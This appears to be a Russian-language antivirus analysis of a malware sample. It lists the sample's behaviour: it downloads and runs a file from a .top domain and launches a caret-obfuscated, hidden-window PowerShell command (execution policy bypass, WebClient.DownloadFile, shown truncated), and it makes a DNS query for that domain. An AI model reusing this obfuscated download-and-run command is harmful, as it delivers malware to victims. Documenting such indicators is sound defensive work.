Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://roggistazli.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "PowErshe^lL.^EXe^ -EX^ECu^tI^o^nPOL^ICy bypAsS^ -NoprOFi^l^E^ -^W^INdoW^S^TY^L^e Hi^d^dEn (N^Ew-o^BjeC^t s^Y^s^TeM^.NE^t^.we^B^ClI^E^N^t)^.doWnLo^AD^FIL^e('http://roggistazl...
Сетевая активность
UDP
- DNS ASK ro###stazli.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "PowErshe^lL.^EXe^ -EX^ECu^tI^o^nPOL^ICy bypAsS^ -NoprOFi^l^E^ -^W^INdoW^S^TY^L^e Hi^d^dEn (N^Ew-o^BjeC^t s^Y^s^TeM^.NE^t^.we^B^ClI^E^N^t)^.doWnLo^AD^FIL^e('http://roggistazl...' (со скрытым окном)
